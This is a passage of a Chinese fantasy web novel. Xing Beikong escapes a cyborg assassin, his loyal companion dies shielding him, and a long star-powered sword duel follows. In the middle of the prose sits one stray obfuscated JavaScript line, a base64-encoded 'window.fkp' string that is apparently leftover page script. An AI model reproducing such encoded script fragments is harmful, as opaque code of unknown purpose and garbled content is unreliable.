薇莉莉昏迷后,星北空放下手提箱,准备开锁给薇莉莉注射源能核心激活剂。但就在这时,一发能量束打穿厚重的下水道壁,以肉眼难以察觉的速度贯穿了整个管理站。轰的一声,管理站的发电机发生了猛烈的爆炸,瞬间管理站内就陷入了黑暗。这时,空荡、漆黑且寂静的下水道传出了一声令人毛骨悚然的低语。 “发现目标,准备执行处决。星北空,你终究还是逃不掉的。” 时间紧迫,星北空只能暂时放弃注射的计划。星北空背起昏迷的薇莉莉,并轻声对她说: “姐!挺住,我有办法救你!你一定会没事的。” 说完,星北空又对身后的胡狼说: “走!胡狼。带上我们的成果,我们逃出去。” 胡狼点点头,然后他和星北空一起跑出了管理站。逃跑过程中,黄色收尾人隔着墙对他们进行枪击,虽然都未打中他们,但却给他们制造了莫大的心理压力和阻碍。星北空他们疾驰在漆黑的下水道之中,一边躲避着致命的坠落物与子弹,一边靠记忆摸索逃出生天的路。 星北空昨夜摸索出离开的道路,但在这种慌乱的时刻他不敢保证自己能够走对。他祈祷着自己能走入正确的道路,为了自己与他人的生存。他肩上此刻肩负起了三条人命,那是莫大的心理压力。 咚......咚......咚!这沉重的脚步声离他们越来越近,死神的步伐正在逼近。嗡.......嗡......嗡!许多能量束如幽灵飞箭一般掠过他们身旁,收割灵魂的暗鸦正尖啸着袭来。轰......轰......轰!一场场能量爆炸粉碎一片又一片的区域,狂乱无序的同时带来致命的艺术,像是烟火一般绽放的绚丽。一道能量束与星北空擦肩而过,霎时间撕碎星北空右臂的大片衣物与肌肤,星北空随即发出了痛苦的惨叫。 “啊!” 惨叫过后,鲜血飞溅如华,死神的镰刀已经悬在星北空的头顶。鲜血横流,浸染红星北空的衣物。割肉的痛楚让星北空有些麻木,但为了他身边的人,他咬紧牙关,忍着痛苦前进。在一番痛苦的赶路过后,星北空他们来到了出口前方。逃出生天的希望就在眼前了。 星北空: “快!出口就在眼前。” 星北空他们向出口疾驰而去。就在即将抵达出口的那个瞬间,咚咚几声,身后的脚步声已经离得很近。嗡嗡几声,几道能量束散射过来。轰轰几声,几道能量爆炸在前往出口的通道内发生。在最后一声爆炸过后,胡狼发出了痛苦的惨叫声。 “啊!” 星北空回头一看,看到胡狼的右腿变得鲜血淋漓,是刚刚的爆炸波及到了他的右腿。再仔细一看,胡狼的右脚依旧露出白骨。胡狼跑的步伐愈发缓慢,但他依然挣扎着前行。星北空背着薇莉莉率先穿过了出口,来到了一栋废弃大酒店前方的公园之中。这时,胡狼蹒跚着也穿过了出口。 星北空: “胡狼!你这伤......” 胡狼: “少爷,背着她走!快!走!” 星北空: “那你怎么办!我不能不管你!” 胡狼: “少爷......有种爱叫做放手......” 胡狼掏出了腰间的两颗手榴弹,一颗是破片弹,一颗是Emp(电磁干扰)弹。胡狼笑了,笑得格外坦然、格外灿烂。胡狼笑着将手中的手提箱交到了星北空手中。见到胡狼这么做,星北空也猜到了胡狼的想法。 星北空: “不!胡狼......” 胡狼: “少爷!别浪费时间了。走吧,走吧!逃跑去吧!别在这里停留了,别说那些深情的话了。” 星北空: “胡狼......” 胡狼: “你还有很长的道路要走,少爷。就让我,为你最后奋战一次吧!吾乃胡狼,忠诚二字,贯彻我心!” 胡狼转过身去,掏出腰间的手枪,像个大丈夫一样无所畏惧地屹立在这里。他像个驻守在边疆的战士,忠诚而又勇敢。星北空看着他的背影,不由得落泪。胡狼陪伴他整整十多年,从他高中毕业的那一天开始,胡狼就一直陪伴在他身旁。可以说,胡狼是他最亲切的哥们。 星北空: “胡狼......我为你感到骄傲。” 说出这句话的时候,星北空带着哭腔。星北空舍不得胡狼,更舍不得再有人从他身旁离去。但现实是冰冷的、无情的,留不住的人最后还是要走的。说完这句话,他心怀悲愤之情转身离去了。 走时,胡狼回头看了一眼星北空。顿时间,时光在他眼前倒流起来。星北空的身影愈发年轻,越发让他怀念。他看到了星北空的青春,看到了星北空的成长,看到了他陪伴星北空的一个个朝暮。时间如诗歌,一生也就几句简语。胡狼冲着星北空的背影露出了一抹笑容。 胡狼: “少爷,保重。” 说完,他转过头来,拉响了手榴弹。轰的一声,他炸塌了上来的入口,为星北空争取到了宝贵的时间。面对实力远超于自己的黄色收尾人,他没有展现出一丝的恐惧。他靠在路灯杆旁,呆呆地望着封闭的入口,看着它一点点被打穿。黄色收尾人走上了陆地,他见了,很淡定地笑了。黄色收尾人见此,没着急开枪打死他,而是很好奇问他: “我都来了,你竟然不怕?为何发笑?难道你是疯了吗?” 胡狼淡然一笑,很霸气地回答他: “为何要怕?人,不都终有一死嘛?” 黄色收尾人低下头来摇了摇头,接着抬起头来,冷冷地说道: “值得歌颂的勇气。但......你最终也只是比他先死罢了。带着你的忠诚消逝吧!” 胡狼抬起枪口,随即对着黄色收尾人扣动了扳机...... 与此同时...... 薇莉莉缓缓睁开了眼睛,她感觉自己此刻格外虚弱,好像已经是半只脚已经迈进了坟墓。这时,她注意到自己是在一间废弃的办公室之中,同时她的面前还站着一直以来陪伴她的星北空。薇莉莉见到星北空后,艰难地露出一抹微笑。她呢喃道: “北空.......” 听到薇莉莉的呢喃,星北空先是一惊,然后欣喜若狂。薇莉莉能说话,就证明还有一线希望。他很激动地告诉薇莉莉: “姐!等下,我马上救你。调试马上完成,马上完成了......” 薇莉莉并未理解他的这番话。她此时已如风中残烛,即将迎接死亡的命运。她用尽全部的力气抬起手,轻声呼唤星北空的名字: “北空......星北空......” 星北空听了,一把抓紧薇莉莉抬起的这只手。薇莉莉的手此刻已经冰冷许多,快接近于气温了。生命的消逝远比星北空想的要快,他现在要跟死神一较高低,赶在薇莉莉去世以前挽救她宝贵的生命。 星北空: “姐,别害怕。我在呢!我在呢!相信奇迹,相信光明,你会活过来的!” 薇莉莉: “北空......为了你.......我相信奇迹......” 此刻,调试进度达到100%。手提箱内的仪器传来了清晰的提示音,告诉星北空结果。星北空顾不得那么多,一把松开薇莉莉的手,赶忙去完成接下来的操作。也就是在此刻,薇莉莉苦睁着的眼皮,慢慢地合上了。 薇莉莉心里: “奇迹......会发生吗?如果没有奇迹出现,这也是个不错的结局。为了我所爱的人而死去,不正是贯穿我一生的誓言的体现吗!不过我希望,我的死能换来星北空的生......” 在她合眼前的最后一刻,她看到了一道淡蓝色的幽光。那幽光之中是星辰大海,里面的群星正对着她闪耀。那幽光所散发出的,是希望与不屈的光辉,是璀璨生命的光辉。它温柔地将光挥洒出来,如跨越星河的飞星一般,只是一瞬就能温暖人的心灵。 “美,真美啊!” 这是她心里最真诚的发言,这幽光美的让人沉醉。这是她这辈子见过最美丽的事物,美丽到她都不知如何去赞颂。比起这个,更惹得她迷恋的,是星北空此刻的身影。透过星辰,看透浮尘,她看到一颗散发着星光的心灵,正在用它最大的力量去温暖另一颗逐渐冰冷的心灵。那如星辰一般的决心,是超越世间一切的强大意志所体现出来的!那样的灵魂,注将是伟大的,永不凋零的! 薇莉莉闭上眼睛,任由时间流逝。不知过了多久,她再次睁眼。这次,她看到满目星辰与无垠大海。她翘首眺望,看到满目星辰正对着她闪烁。星光璀璨,美得让人沉醉。她沉浸在眼前的美景之中,一时没有回过神来。不知不觉,她的脸上泪水纵横。她迷恋着,迷恋人间的美景、迷恋活着的感觉、迷恋她所爱的一切。她担心着,担心她所牵挂之人的安危与点点滴滴。她恐惧着,恐惧这美景是她与人世的最后一面。她舍不得离开人世间,她放不下那些自己爱着的人们,放不下这个美丽而又充满遗憾的世界。 她突然眼前一黑,然后失去了意识。这时,她的脑中响起了INF-wR-0的声音。看来INF-wR-0想趁虚而入,想在薇莉莉处于低谷时引诱她加入,从而推进他的计划。 “你想要力量吗?你想要生命吗?接纳虚空吧,接受来自虚空的呼唤吧。我能给予你这些。” “你不是想保护身边的人吗?没有力量是做不到的!接受我的力量,接受我的力量......” “加入我们吧,加入我们吧。成为我无垠军团的一份子,成为凌驾于世人之上的圣望者吧!” “你想要的一切我都能给你。妥协吧,承认吧,把握住机会改变人生吧!有力量不是件坏事。” 听起来,INF-wR-0在劝说薇莉莉加入他的军团。但薇莉莉的意识此刻陷入自守状态,对外界的任何信息都会排斥在外。论INF-wR-0怎么说,薇莉莉的意识是半点也不接纳,更不会做出回应。但即使是这样,INF-wR-0也能找到另一个突破口。薇莉莉不知道的是,在她能梦见那副虚空之景之时,零之启源意识就已经侵入了她的身体。现在只待薇莉莉意识归顺堕落了。 星北空将一支源能核心激活液注射给了薇莉莉,强大的能量顺着激活液涌入了薇莉莉的体内,勉强支撑住了薇莉莉即将消逝的生命。薇莉莉体内的细胞加速再生,她惨白色的肌肤逐渐有了红润。 星北空: “愿上天保佑,愿奇迹到来。姐!你可一定要活过来啊!” 这时,远处传来了一声惨叫。星北空听到这声惨叫,不由得哀悼。那声惨叫,是胡狼的惨叫,是胡狼牺牲的标志。现在的局势非常恶劣,黄色收尾人步步紧逼,能保护他的人也一个一个离去,而即使是牺牲这些,那逃出生天的希望还很渺茫。留给他的道路也只剩下了一条,那便是死亡。 不过,他可不甘愿就这么死去。他要在临死前,誓死守护病重的薇莉莉,直到最后一秒。他此刻放弃了自己的身份,放弃了他所拥有的一切财富,放弃了逃避与怯懦。他要像个战士一样,为了自己、为了薇莉莉、为了他所热爱的一切,向这个冷酷无情的世界拔剑。 星北空: “也许这就是我的结局了。想来,这也是分别的时刻了吧,姐。人终有一死啊......结果我无法选择,但过程取决于我。逃不掉的东西终究无法逃避,必须要去直面啊。” 星北空: “你常说,让我像个爷们一样,可我总会让你失望。我自始至终也没明白这个所谓的‘爷们’到底是个什么意思。但今天,我看到胡狼的所作所为之后,我才明白这其中的含义。所谓的‘爷们’,就是有着令人赞扬之英勇的真男人啊!就是战士,就是勇士,就是生命的赞歌!” 星北空也给自己注射了一支。强大的能量涌入他的身躯,他浑身上下都散发出了淡蓝色的能量。刹那间,他的灵魂与源能核心产生了共鸣。星辰,是星辰!他的核心感召到了星辰的力量。 恍惚间,他听到了银河的呼唤,听到了群星的颂歌,听到了时间的低语。他的眼前出现了一片广袤无垠的星河。那星河美得让人陶醉,是人世间最美的一道风景。星河之中群星荟萃,璀璨的星光照耀他的每一寸肌肤。此刻,一首美丽而又凄凉的乐曲在他耳旁响起,那是时间的歌谣,那是群星的意志,那是他如星辰一般的决心! “鸿蒙万千,亘古不变。文明史诗,气势磅礴。高歌吧!宇宙的孩子。歌颂浩瀚的星河吧!让群星,在你眼中凝聚吧!” 一把锐利的刺剑划破天空,星云烈焰在它剑锋上燃起。它像天堂的明星一样陨落人间,击碎无边的黑暗与当中的愚昧。这把剑,来自无垠宇宙,源于炽热星尘。它铸造于星宇浮尘,淬炼于星火之中,出锋于寒星陨石,绽放于这个世界!其名曰:“斩星”,是不灭的神兵。 这把剑落入星北空的手中,顿时将星辰的力量汇入了他的身躯。看着天上的星海苍穹,星北空说: “点燃星!让无尽暗夜为之恐惧!闪耀吧!永世长存的灿星河!” 鸿之棋的影子在星北空身上乍现,曾经那个星辰守望者的雄姿与霸气再现人间。他不是神明、也不是英雄、更不是强者,他只是个普通人。是什么让他能得到星河的认可?是什么让他能拿起神剑斩星?又是什么能让一个普通人身上出现至尊的身影?是他的决心,那如星辰般不灭而又强大的决心!他的意志,超越凡尘。 但即使如此,他也会收起手中的剑,轻轻地抱起薇莉莉,抱着她去安全的地方。力量改变不了的,是一个人强大的内心,与之不朽的灵魂!将薇莉莉待到安全的地方后,他轻轻地将薇莉莉放在最安全的角落。这时候,沉重的脚步声在他后方传来。他回头看去,漆黑的废墟之中亮起了点点微光,那便是黄色收尾人到来的象征。他叹了口气,轻轻地用手抚摸薇莉莉的面颊。摸起来,终于不是那般冰冷了。他放下手,对薇莉莉露出微笑。 星北空: “姐,这将是永别了。我注定要离去,就像那回不来的春天。请你不要悲伤,笑起来吧,你可是玫瑰一样的女人啊!是注定要绽放的。希望,就托付给你了。姐,你一定要幸福啊!” 说完,星北空告别薇莉莉,转身向着废墟之中的黄色收尾人走过去。他决定慷慨赴死,为了生存,为了薇莉莉,为了他爱的一切!他这么做,无疑是送死。对于他来说,他终会死在这里,结局已经注定。不过,他可以选择自己的死法。他选择的,是最辉煌、最有气概、最传奇的那一种。直面恐惧而战斗到死,为了他誓要守护的一切。 “战士,是战士,是伟大而无私的战士,是有着崇高荣誉的战士。一句守护的誓言,贯穿一生的志愿。知道宿命的真相,但不惧怕,还仍去热爱它,哪怕只有刹那。这!就是英雄!” 星北空站到了黄色收尾人面前,勇敢地拔出了剑。他的全身散发着星尘之光,还有勇气与决意的耀光。星辰在他眼眸中汇聚成一份强大的决意,那决意给予了他无上的勇气。黄色收尾人见了,忍不住好奇,问他: “为何不逃跑而是来直面我?你,难道不惧怕死亡吗?还是说,你已经吓疯了?选择直面我的决定是愚蠢的!” 星北空的剑刃上燃起了五彩斑斓的星云之火,那象征着生命之光的璀璨,象征了他不灭的灵魂与意志。星北空霸气回答道: “死亡,是我们注定的结局。我深知这一点,但我仍敢直面我的宿命!生活的意义不就在于此吗?在有限的一生中创造出自己的价值,寻找到生命的意义啊!我所存在的意义,就是守护他人啊!就是守护......我所热爱的这个世界啊!死亡在这些面前,又如何呢?!!” 黄色收尾人被他的话语深深震撼到了,他心里有些动容,但手仍死死地握着枪。黄色收尾人沉默了片刻,然后对他说: “你说的......我无法反驳。我......我认可你的观点,孩子。你给我留下了很深刻的印象。但说这些是改变不了你的结局的!你终归是要死在这里的人,因为你惹恼了‘天之苍穹’。他们要你死,你就得死啊......” 星北空露出一抹从容淡定的微笑,他的身上看不到半点恐惧的样子,有的只有勇气与坚强的意志。星北空告诉黄色收尾人: “那又如何呢?生命的意义不就在于挑战吗?我们进化、我们成长、我们发展出绚烂的文明,哪一样没有挑战过强敌?!天之苍穹又如何?就是神明又如何?若没了挑战的勇气,何以谈活着?!何以谈生命?!为了存在而存在的,不配称为生命!” 星北空挥剑,一剑斩碎周围的墙体,让光照了进来。星北空抬起剑来,剑锋直指废墟之外的天空。黄色收尾人见了,没有按常规训练的那样立即射杀星北空,反而是是顺着他的剑,向着废墟外眺望。黄色收尾人看到了,天空,蓝色的天空,如海一般的广袤的天空。星北空告诉黄色收尾人: “为何要仰望星空?为何要不断前进?为何要生活下去?因为我们不是傀儡,不是工具,而是一个又一个鲜活的生命,是有意义的生命!我们都想创造自己的价值,寻找到自己生活下去的意义。我们都有梦,都想去实现。但我们都忽略了这其中真正重要的东西。失败也好,落魄也罢,死亡也不过是个注定的劫。我们最享受的,不就是这个过程吗?” 黄色收尾人握紧的拳头松开了。全身机械赛博化改造的他,失去了人类的身躯,但他的心灵与意识还是人类的。与正常人比较,他也不过是失去了许多欲望与感受痛的能力。星北空的这番言论,让冷血无情的他触动很深,甚至让他萌生了一丝久违的仁慈。但任务终究是要完成的,他也必须处死星北空。但此刻,他可以选择让结果延期。他想听星北空继续说下去。黄色收尾人告诉星北空: “你与众不同。你的言语让我的处理单元超负荷了!那种感觉......是我曾经的青春。我的师傅也曾教导我这些,但我未曾铭记,只记住了规则与手段。你让我重新想起了他,星北空。继续说下去吧......我等你。” 透过厚重的机械装甲,星北空看到了他那颗温暖的心灵。也许所谓冷血无情的杀手,也能有着一颗温暖的心。归根到底,杀手也不是平凡人发展过来的吗?根本上,他们也是平凡人的心与魂。黄色收尾人的话让星北空有些感动,即便他知道面前这个冷血无情的杀手即将杀死自己。既然黄色收尾人愿意给他时间,他就承蒙这份善心,继续诉说下去。 “生命,是过程。死亡,是结果。享受生命,就是享受活着的这个过程。今天你来要我的命,那就是我结局的到来。我失败了,我输掉了与苍穹之间的较量。但我又胜利了!我找到了我生命的意义。死亡前,还有个痛苦的过程。这段过程,我也依然会去享受。” 黄色收尾人一听,挺不解的,于是就问他: “为什么呢?人,不该是会逃避痛苦吗?” 星北空告诉他: “我们逃避的是可以避免的,因此我们会错过很多美好,也能因祸得福避开许多苦难。我们所享受的,是那些不可避免的福祸。快乐也好,痛苦也好,不都陪伴我们一生吗?既然要享受,那么怎能丢下其中一个不管呢?一味的逃避,不就失去了那份接纳时的感悟与成长了吗?” 黄色收尾人辩解道: “可是,你本可以......” 星北空很坦然地告诉他: “对。我本可以亡命逃亡下去。但你知道的,我早就成了瓮中之鳖。从我的人头被悬赏之时,我就预见了我的结局。我知道,我星北空这辈子就会交代在这里。最高通缉之下,我这样的普通人无非是挣扎罢了。胡狼,貔貅,他们都死在你手里。如此强悍的卫士,斩杀羔羊般容易。这,就是苍穹的力量!这,就是我注定的结局!” 黄色收尾人无力去辩解,只得承认他的“胜利”。黄色收尾人亮出臂刃,但却迟迟没有攻击。黄色收尾人在犹豫,一个冷血无情的金色死神在犹豫!见他犹豫,星北空问他: “既然是杀手,那么就只会专杀目标吧。若不是主动攻击你,你便不会攻击目标以外的人吧?” 黄色收尾人回答道: “没错。我明白你的意思。那个红头发的姑娘,你放不下她吧。既然是任务之外,我便不会攻击。你死亡之后,我会尽可能快地离开这里。她......就由死神来去处理吧。接下来死亡的人,只有你!” 星北空听他这么一说,也便没了顾虑与牵挂。星北空很坦然地对他说: “执行你的任务吧,黄色收尾人。” 黄色收尾人对星北空说: “鄙人,名叫司马天铎。请好好称呼我的名字!” 星北空点点头,说: “好。执行你的任务吧,司马天铎。” 司马天铎发出了带有磁性的笑声,这是他发声器合成出来的,是他心里最真实的想法。司马天铎对星北空说: “指令接收,任务注定完成。星北空,你让我清醒过来。这一战,我只为了你而打。受死吧,星北空!” 司马天铎手中的弑神者切换为了霰弹枪模式,他浑身上下的铠甲上泛起了金色的光辉。奇点科技激活,G协议即刻生效。几声蒸汽喷涌,散热器全功率输出。隐藏在双臂上的臂刃此刻展开,锐利的锋刃上寒光掠过,金色的雷电正充盈在其表面。能量充能完毕,金色死神展现在星北空面前。 星北空将核心能量汇聚在全身,星云烈焰迸发在剑锋之上。他的核心闪烁出耀眼的星光,如星辰般的决心蕴藏其中。寒风吹过废墟,吹起无数渺小的尘埃。废墟墙面的裂缝处,照进了璀璨的光芒。尘埃,在此刻燃烧。天穹,在此刻震颤。不屈的意志汇聚在剑锋之上,迸发出的星云之火散发着英勇的光辉。子弹划过面颊,划开一道伤疤。鲜血滴落在地面,尘埃凝聚在其中。枪与剑刃的较量,即刻展开。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十三话:星辰一样的决心 一声爆炸震天响,无数碎片散如花瓣。金甲刺客被炸出废墟,星火凤凰紧随其后。翻滚落地身无尘,直面烈火挥刀斩。废墟内火光四溅,金属碰撞声不绝。挥舞的剑光如缠绵的三颗星,展现出绚丽的三体运动。嚯嚯嚯嚯,快剑连斩,刀光剑影让人眼花缭乱。嗖嗖几下,五道月牙剑气掠过满是裂痕地面,向着它的敌人飞去。金甲刺客灵活躲避,抓准空挡使出一记过载射击。枪响不绝,能量束形成骤雨之势,飞快地打来。他手握神剑,化身凤凰穿行其间,一边躲避一边挥刀放出剑光招架。 金甲刺客跟他打得有来有回,一时之间分不出胜负。两人的之间的较量也因此逐步升级,只得用出浑身解数来分出高下。 星光汇聚剑锋之上,星火展现极点之势。北极星光闪烁在剑锋之上,耀眼强光照亮整座废墟。他手中的剑上幻影涌现,烈火团聚成巨大的星火剑锋,气势十足。 星北空: “月光,波光斩!” 他三剑挥出,三道巨大波形剑气掠过地面,卷起层层气浪,以最浩荡的姿态飞向了金甲刺客。 司马天铎: “G协议,激活!” 金色的四正端点法环于背后展开,奇点造物的骄傲与勇气迸发。迎接三道剑气,他抬起枪口,迅速对准其中一道剑气。法环上的四端点此刻耀眼如夜空之星,巨大的G出现在法环中央。扣动扳机,一道金色能量束飞速袭来,法环此刻闪耀,那四个端点之中出现了同样的能量束。金甲战士的意念输入法环,能量束的幻影随即射出。剧烈爆炸激起三团巨大的烟雾,两道能量束交叉射出烟雾,从他身旁掠过,撕裂出两道伤疤。 星北空: “唔......” 金甲刺客殊不知,那三道剑气飞来时悄悄留下了十八团星焰。那星焰是定时炸弹,此刻即是释放的那一刻。嗖嗖几下,星焰穿过烟雾,迅速来到了金甲刺客面前。金甲刺客连连躲避,但终归是慢了一步。轰轰几声,十八团星焰依次爆炸完成,正赶上烟雾散去的刹那。金甲刺客被半数星焰打中,但只是轻伤而已。 星云烈焰手中燃,三层星环手上悬。迅雷不及掩耳之势,抬起手挥出优美曲线,喷洒出大片星焰。一道曲线划过,止于头顶,直指天空。猛烈星火凝聚成一点,压缩到极致之时,释放腾飞之星。星,飞出指掌贯穿苍穹,如升起的明星。訇然崩裂,一分为二,层层分裂,形如雨点般落向地面。如雨一样的攻势,群星陨落。 司马天铎: “力场护盾,升起。” 金甲刺客升起力场,金色穹壁身旁护。落星如暴雷,顷刻间轰碎大片土地。尘土飞扬,烟雾缭绕,一时间看不清彼此。微微金光,标注出金甲刺客的位置。烟还为散去,是最佳的进攻时机。抬起手,破裂之地上泛起星火,原来是落星并非全部爆炸。星火燃烧,古代文字从中现。法阵充能就绪,即刻在彼此脚下释放。 星北空: “星界锁链,释放!” 星云之火淬炼成一根根锁链,从法阵中升起。如林中毒蛇般迅速,刹那间穿透护罩,紧锁住金甲刺客的身躯。几十片星尘出现,迅速排成星座序列,即刻形成七层星环环绕金甲刺客。星火灼烧金甲刺客的身躯,厚重金甲足够结实但无法撑过太久。法阵中升起几团星云烈焰,飞起到半空转弯飞向他。抬起剑来,接收团团星云烈焰。手拂过剑锋,手中星环转移到剑身之上。剑锋对准它的敌人,星环此刻汇聚一体。 星北空: “星环边际,穿!” 手握利剑,形如雷电,步如飓风,刹那间来到金甲刺客面前。不及眨眼,猛烈突刺贯穿金色壁垒,直刺向胸膛。晚步一刻,错事良机。金甲刺客使出秘技,震荡冲击。震荡波贯穿他的全身,让他片刻失力,并造成比较严重的内伤。震荡,霎时间击碎所有锁链,金甲刺客被释放出来。但终究是晚了一步,利剑刺入金甲之中,入有半指深。金甲刺客一个推掌,力场冲击击退他十步之外。金甲刺客轻抚自己的胸口,捻起一块金甲碎片,分析片刻。 司马天铎: “圣战技?和管理员一样。有意思......星北空,你是我这一年中最大的惊喜。凡人之力,竟能击破我的金甲,真正伤到我。是我低估你了......那么接下来......” 金色的多六边形全息图案出现在背后,金色能量在身旁凝聚。两个科技环凝聚而出,而后层层拼合,形成两个巨大的准星图标。其余能量汇聚成六颗剔透金色棱晶,悬浮并旋转于法环之中。 “才是我真正的战斗姿态。Yellow power·裁决之日!” 棱晶汇聚在枪口之上,金色光辉洒在周围的地面上,法环飞速旋转,四个端点闪耀着金光。一声蒸汽喷涌,全身上下的充斥金色能量。金色死神,蓄势待发。直面强敌,他仍不慌乱,从容淡定地一笑,欣然面对接下来的战斗。输赢对于他来说,已经注定。 废墟内光芒不间断闪烁,爆炸不断产生与消失。废墟之中,一片狼藉。打斗之中,两人的实力差距凸显出来。认真之后的黄色收尾人完全压制星北空,胜利的天平向着黄色收尾人那边倾倒。一道一道伤疤出现在星北空的身上,虽有强力的源能核心和斩星剑加持,但对付黄色收尾人来说仍旧困难。星北空核心的肉体再生速度逐渐跟不上伤口出现的频率,意识到这一点的他深知结局即将到来。 远处,观望两人战斗的wILL看得是非常揪心。回想起自己的过往,十四年前的那最后一面还深深地烙印在她的脑中。片刻思索过后,她终于按奈不住自己,决定越过红线。她提起赤潮大刀,准备要奔赴战场帮助星北空取得胜利。但就在此时,旅者突然出现拦住了她。旅者警告她: “wILL!你这么做是在谋求灭亡!” wILL握紧拳头,表情很是难看。她手中的赤潮已经泛起红光,进入了战斗状态。她身上的战斗服出现了红色条纹,也进入了战斗状态。wILL冷冷地对旅者说: “你想跟我打架是吗?” 旅者的身上泛起了金黑色闪电,他的手中出现了一张发着金光的牌。旅者冷冷地告诉wILL: “你若想真的与我战斗,我可以奉陪。但......你只能倒下一次,而我却可以重生无数次。我的能力你也应该是知道的.......【世界之门·超越时间】,这是无敌的能力!” wILL毫无恐惧,反而露出一抹微笑来。wILL问旅者: “那又怎样?你难道要杀了我这个一无所有的老女人吗?如果是这样的话,你当初就不该就我回来。” 旅者笑笑,告诉wILL: “哈哈哈,当让不会了。你要是想去救他,可以迈步向前。但恐怕等你老死了,都不一定能走出十米。” “你!!好吧,服了你这个无赖的流氓了。” “好了好了,我们就当个观察者吧。毕竟这一次循环,是最后一次了。这次循环中的你,才是最后走到尽头的你。我知道你想去救他,因为这是当初最大的遗憾。可是你仔细想想,他真的希望你去这么做吗?” “呃......” “更何况我们还有携手挽救这个世界呢。你若越过红线了,不就是出师未捷身先死了吗?而且......你也不希望你的遭遇再出现在这个世界上吧。失去的痛苦......总是很难让人接受呢。” “好了好了,你这家伙打感情牌比谁打得都溜活。你说得对,他绝不希望看到我这样的。唉......随它去吧。” “这就对了,wILL。” “还有,我检讨,我今天不该那么冲动的。要不是你拦着,我也许就被那家伙发现,然后被处死了吧。” “下次别再犯就行了。记住,我们为的可不止我们自己,还有这个美丽而又充满遗憾的世界。” “哼......无可否认。” 两位观察者从远处看着这一切。 剑锋对准天空,星辰汇聚成利刃,整齐排列在天空。星空凝聚成绚烂的炎火之星,裹挟星云烈焰与星尘耀光,如天堂的明星一样落下。结合,融合为银河大剑。银河在剑锋上燃烧!群星在飞旋,紫雷在迸发,强大的力量运转于银河之中,浩瀚星河在此刻躁动。 星北空: “寒宇宙刃,归位!” 星辰汇聚成的利刃在空中排成一排,随即拼合成一对巨大的翅膀。周围的空气越来越冷,霜华凝结在伤痕累累的大地之上。不知不觉间,两人战斗的地方下起了一场小雪。雪中,两人深情对视,彼此的眼神之中都是杀意与敬佩。金甲刺客抓住他准备释放招式的空挡,连开数枪放出骤雨一般的能量束攻击。此刻,翅膀张开到最大幅度,散发出耀眼且温暖的星光。星火猛烈燃烧,决意的光辉照耀大地。 星北空: “星河之握,以宇宙之名命令你退下!” 一道能量束贯穿他的手臂,但他却未感觉到疼痛。他念出口令,超新星冲击即刻释放。半径十几米的能量的脉冲湮灭所有能量束,所裹挟着的星云烈火瞬间燃遍经过的每一块土地。挥剑!寒宇宙刃之翼即刻绽放!无数利剑如狂风中落羽,飞速分离彼此,以御风的神速飞向了它们的敌人。利剑留下五彩斑斓的拖尾,就像一颗颗划过天边流星。 星北空: “星辰之羽,散!” 利刃飞向金甲刺客,顷刻间铺天盖地。金甲刺客从容不迫,迅速抬起枪口瞄准那些利刃;同时舒张肩甲,露出一对隐藏的微型激光炮。法环上的四端点汇聚能量,六颗棱晶飞到枪口处,绕着枪口旋转。 司马天铎: “Yellow power·过载射击!” 枪口闪光不断,能量束如雨点般袭来。法环四端点快速复制,制造了规模巨大的光雨打击。光雨与利刃猛烈碰撞,制造了一团又一团盛开的烟火。烟火还未消散,他就展开了下一轮的攻击。剑锋划出一道优美的曲线,仅剩一成羽毛的翅膀的中心泛起了星焰。提剑对空一斩,残缺之翼即刻爆裂而散成漫天光羽。几朵光羽化成燃烧的星云,飘到了金甲刺客的头顶。剑锋上燃烧着的银河此刻爆发,湮灭之火熊熊燃烧。 星北空: “宇宙耀斑!” 无数道穿刺星云陨落天间,如雨点般打在地面上。本就是有些应接不暇的金甲刺客见了,没等反应就用身子扛了几发。金甲胄上出现了裂痕,星火的灼烧让其上光辉黯淡了几分。金甲刺客一边躲避穿刺星云的无规则打击,一边猛烈开火招架利刃的进击。 星北空: “银河斩切刃!” 他抓准这个时机,连续左右横移,是冲刺十几步之远。利剑连挥,每停步一下用一次剑气斩,随后几道巨大的锯齿状剑气如高速回旋的旋刃一样飞向它们的敌人。从气势与外表上来看,这锯齿状剑气更像是高速运转的一个个星系,是星系化成的旋刃!金甲刺客本就是被突如其来的攻击打到一时难以招架,这飞来的旋刃更是雪上加霜。此刻,金甲战士放弃躲避,转而留在原地去直面。金色的雷电从核心之中迸发出来,手中的弑神者一个倒钩回旋安装在金甲右肩。强大的能量脉冲撼周围的利刃与穿刺星云,给予他最合适的进攻机会。 司马天铎: “Yellow power·耶勒尼娜的华尔兹!” 两把臂刃张开,金色的雷电化作幻影的刀锋,凝聚在臂刃之上。金光闪烁,舞曲奏响。快如迅雷,动留残影,金色雷电在刀锋上起舞,在空中划过一条条美丽而又震撼的曲线。舞者舞动身躯,疾风奏刀斩切旋刃,刹那间,二十七刀霍然挥出。轰轰几声,旋刃崩解,发生剧烈的爆炸,同时带来无数团美得让人陶醉的星云。不经意间,恒星的一生转瞬即逝间就展示完毕,那是如烟火一般绽放而又悄悄凋零一生。爆炸产生的光芒照亮整座废墟,顿时吸引远方无数道目光的注视。 这其中,就包括了殇他们。 在废墟中寻觅两人蛛丝马迹的殇和伊注意到了那光芒。那光芒是一个信号,告诉殇他们两人的位置。见到这光芒之后,殇急匆匆地告诉身边人: “那边有光!星北空他们可能就在那边。” 伊附和道: “对。我们快走吧。” 查尔拉她们一听,立马点头同意。殇他们立即向着那些光出现的方向疾驰而去,势必要将星北空他们给带回来。 在路上,殇注意到了一个熟悉的身影。青莲,他正悄悄地跟着殇他们。殇见了他,跟他打招呼。 “嘿!青莲。” 他一听,立马隐匿在暗影之中,迟迟不肯现身。殇一看,耸了耸肩,然后吐槽道: “搞什么,见自己女儿也要神神秘秘的。” 殇周围的查尔拉听了,好奇地张望周围,试图找出藏在黑暗之中的青莲。但找了一圈,无果而终。查尔拉问殇: “哪里有啊?!别在找大姐的时候重视其他事好吗?” 殇挠挠头,说: “好的好的。” 这时,躲在阴影之中的青莲注意到了查尔拉。看着查尔拉的身影,青莲既惭愧又高兴。多年未陪伴,多年未顾及,他都有些忘了自己爱人的样子。但是他自己的两个女儿,他是无法遗忘的。他悄悄地说: 